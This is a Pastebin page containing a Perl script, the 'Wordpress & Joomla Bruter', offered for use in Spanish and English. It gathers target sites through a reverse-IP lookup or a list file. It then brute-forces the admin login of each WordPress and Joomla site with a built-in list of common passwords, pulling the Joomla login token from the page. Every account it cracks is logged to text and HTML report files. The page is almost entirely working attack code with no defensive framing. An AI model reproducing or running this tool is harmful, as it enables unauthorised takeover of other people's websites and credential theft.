Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl -X
- ##########################################################################################
- # Wordpress & Joomla Bruter v.1.0 #
- # Coded by B47CHGURU on 16-08-2011 for his brother Kishan Patel!! #
- # Updated on 17-08-2011 #
- #if any bugs are found ...plz do inform me at interestingpal@gmail.com #
- #reverse ip tool incorporated wont extract all websites.. use yougetsignal.com #
- #Note: You should first install HTML::LinkExtor module with CPAN shell #
- #----------------------------------------------------------------------------------------#
- #To all script kiddies..... changing the "made by" headers wont make you the coder...!! #
- #Respect the coderz..!!! #
- ##########################################################################################
- if($^O =~ /Win/){
- system("cls");
- }else{
- system("clear");
- }
- print ("\n#######################################################\n");
- print (" Fuerza Bruta\n");
- print ("########################################################\n\n\n");
- use warnings;
- use LWP::UserAgent;
- use HTML::LinkExtor;
- use URI::URL;
- use HTTP::Request;
- use HTTP::Request::Common qw(POST);
- use HTTP::Request::Common qw(GET);
- use HTTP::Cookies;
- $ua = LWP::UserAgent->new(keep_alive => 1);
- $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
- $ua->timeout (20);
- $ua->cookie_jar(
- HTTP::Cookies->new(
- file => 'mycookies.txt',
- autosave => 1
- )
- );
- my $i = 1;
- my $count = 0;
- my $vul = 0;
- my $incount = 0;
- $asd = 'wp-submit';
- $data='wandjbruter.html';
- $admin='admin';
- $indicator = 'b';
- open (CHECKR, "<$data");
- @CHECKED = <CHECKR>;
- close CHECKR;
- foreach $Post(@CHECKED) {
- if ($Post=~/Bruter/){
- $indicator = 'a';
- } else {
- }
- }
- open HTML, ">>", "wandjbruter.html" or die $!;
- if ($indicator=~/b/){
- print HTML "<html xmlns=\"http://www.w3.org/1999/xhtml\"> \n <head> \n <title>B47CH GURU's Wordpress & Joomla Bruter v.1.0..!!</title> \n </head>";
- print HTML "<body id=\"#body\" body bgcolor=\"#000000\" text=\"#FFFFFF\" link=\"#FF3333\" vlink=\"#C0C0C0\" alink=\"#990000\" marginwidth=\"100\" align=\"left\"> \n";
- print HTML "<br /> \n <center>\n <h1><u>B47CH GURU's Wordpress & Joomla Bruter v.1.0..!!</u></h1> \n <h2><u>####Scan results####</u></h2> \n ";
- } else {
- print HTML "<html xmlns=\"http://www.w3.org/1999/xhtml\"> \n <head> \n <title>B47CH GURU's Wordpress & Joomla Bruter v.1.0..!!</title> \n </head>";
- print HTML "<body id=\"#body\" body bgcolor=\"#000000\" text=\"#FFFFFF\" link=\"#FF3333\" vlink=\"#C0C0C0\" alink=\"#990000\" marginwidth=\"100\" align=\"left\"> \n";
- print HTML "<br /> \n <center>\n ";
- }
- my @imgs = ();
- sub reverse {
- my($tag, %attr) = @_;
- return if $tag ne 'a';
- push(@TARGETS, values %attr);
- }
- print " Quieres realizar un ReverseIP o cargar sitios desde una lista..?(s/n)>";
- my $revlist=<STDIN>;
- if($revlist =~ /y/){
- print "\n IP/Sitio a aplicar ReverseIP..\? >";
- my $website=<STDIN>;
- chomp($website);
- my $linds = 'http://sameip.org/ip/' . $website;
- print (" \n ############################################## \n");
- $url = $linds;
- $p = HTML::LinkExtor->new(\&reverse);
- $res = $ua->request(HTTP::Request->new(GET => $url),
- sub {$p->parse($_[0])});
- my $base = $res->base;
- @TARGETS = map { $_ = url($_, $base)->abs; } @TARGETS;
- sort(@TARGETS);
- splice (@TARGETS, 0, 1);
- $asshole =$TARGETS[-1];
- print (" \n $asshole \n\n");
- if($asshole =~/nameserverspy/ | $asshole =~ /dailydomains/ | $asshole =~ /sameip/){
- splice (@TARGETS, -6, 6);
- }
- print join("\n", @TARGETS), "\n";
- print (" \n ############################################## \n\n");
- $linkno=$#TARGETS + 1;
- goto loop2;
- } else {
- }
- print " Indica el Path de tu lista de sitios. >";
- my $list=<STDIN>;
- chomp($list);
- open (THETARGET, "<$list") || die "[-] No se puede abrir la lista !";
- @TARGETS = <THETARGET>;
- close THETARGET;
- $linkno=$#TARGETS + 1;
- @PASSWORDS = ("qwerty","pass","123456","admin","password","pass123","123123","admin123","123456789","test","passwd","demo","Admin","abc123","test123","123456789");
- loop2: foreach $linds(@TARGETS){
- @imgs = ();
- print ("\n");
- print ("\n");
- print join("\n", @imgs), "\n";
- $incount = 0;
- chomp($linds);
- $thelind = $linds;
- $thelind = clear($thelind);
- $thelind = trim($thelind);
- $url = $thelind;
- $linkdo=$#imgs + 1;
- $redirect = $url . '/wp-admin/';
- $wp = $url . '/wp-login.php';
- $joom = $url . '/administrator/index.php';
- print("\n ------------------------------------------ \n Bruteando $url \n ------------------------------------------ \n");
- ##########################################Wordpress Bruting##################################################
- foreach $pass(@PASSWORDS){
- $dollar = 0;
- chomp($pass);
- $res = 0;
- my $req = POST $wp, [log => $admin, pwd => $pass, $asd => 'Log In', redirect_to => $redirect, testcookie => '1' ];
- my $res = $ua->request($req);
- if ($res->is_success) {
- $asshole = $res->status_line;
- $dollar = $res->content;
- } else {
- $asshole = $res->status_line;
- print ("\n $asshole \n");
- }
- if ($asshole =~ /302/){
- print ("\n\n\n Sitio Crackeado $url Usuario $admin & password $pass \n\n\n");
- open OUTFILE, ">>", "wandjbruter.txt" or die $!;
- print OUTFILE "$url : $pass \n";
- print HTML "\t\t\n<tr><td><a href=\"$wp\"><font color=\"#66FF66\"><strong>$url</strong></a> cracked with Username: <font color=\"red\">$admin</font> and Password: <font color=\"red\">$pass</font> </font>\n </br> \n </br> \n";
- close OUTFILE;
- next loop2;
- }
- if ($asshole =~ /404/){
- print("$url No corresponde a Wordpress \n\n");
- joomla();
- next loop2;
- };
- }
- if ($dollar =~ /Joomla/){
- joomla();
- next loop2;
- }
- $dollar = 0;
- @imgs = ();
- $incount = 0
- }
- ##########################################Joomla Bruting##################################################
- sub joomla{
- loop: foreach $rass(@PASSWORDS){
- chomp($rass);
- my $red = GET $joom;
- my $ret = $ua->request($red);
- if ($ret->is_success) {
- print("\n $url Pertenece a Joomla..!! \n");
- $asshole = $ret->content;
- $dogy = $ret->status_line;
- } else {
- $assholed = $ret->status_line;
- next loop2;
- }
- $assholed = $ret->status_line;
- if ($assholed =~ /404/){
- print("$url not a Joomla site \n\n");
- next loop2;
- };
- $asdf = '<input type="hidden" name="task" value="login" />';
- while ($asshole =~ m/$asdf/g){
- $asdf = (pos($asshole) - length($1));
- }
- $asdf = $asdf + 29;
- $ass = substr ($asshole, $asdf, 32);
- my $rreq = POST $joom, [username => $admin, passwd => $rass, lang => 'en-GB', option => 'com_login', task => 'login', $ass => '1' ];
- my $rpiq = $ua->request($rreq);
- if ($rpiq->is_success) {
- $assholed = $rpiq->status_line;
- $assholeer = $rpiq->content;
- $assholed = $rpiq->status_line;
- }
- $assholed = $rpiq->status_line;
- if ($assholed =~ /303/ | $assholed =~ /301/){
- print ("\n\n\n Joomla website $url crackeado con usuario $admin & password $rass \n\n\n");
- open OUTFILE, ">>", "wandjbruter.txt" or die $!;
- print OUTFILE "$url : $rass \n";
- print HTML "\t\t\n<tr><td><a href=\"$joom\"><font color=\"#66FF66\"><strong>$url</strong></a> cracked with Username: <font color=\"red\">$admin</font> and Password: <font color=\"red\">$rass</font> </font> \n </br> \n </br> \n";
- close OUTFILE;
- next loop2;
- }
- }
- }
- sub clear{
- $website = shift;
- if($website !~ /^http/){
- $website = 'http://www.' . $website;
- }
- return $website;
- }
- sub trim{
- $string = shift;
- $string =~ s/^\s+//;
- $string =~ s/\s+$//;
- return $string;
- }
- print ("\n\n Todos los sitios han sido escaneados $linkno websites. Puedes ver los resultados en: 'wandjbruter.html'.\n");
- print HTML "\n </center>\n </body> \n </html>";
- close HTML;
- if($^O =~ /Win/){
- system('.\wandjbruter.html');
- }else{
- system('./wandjbruter.html');
- }
Add Comment
Please, Sign In to add comment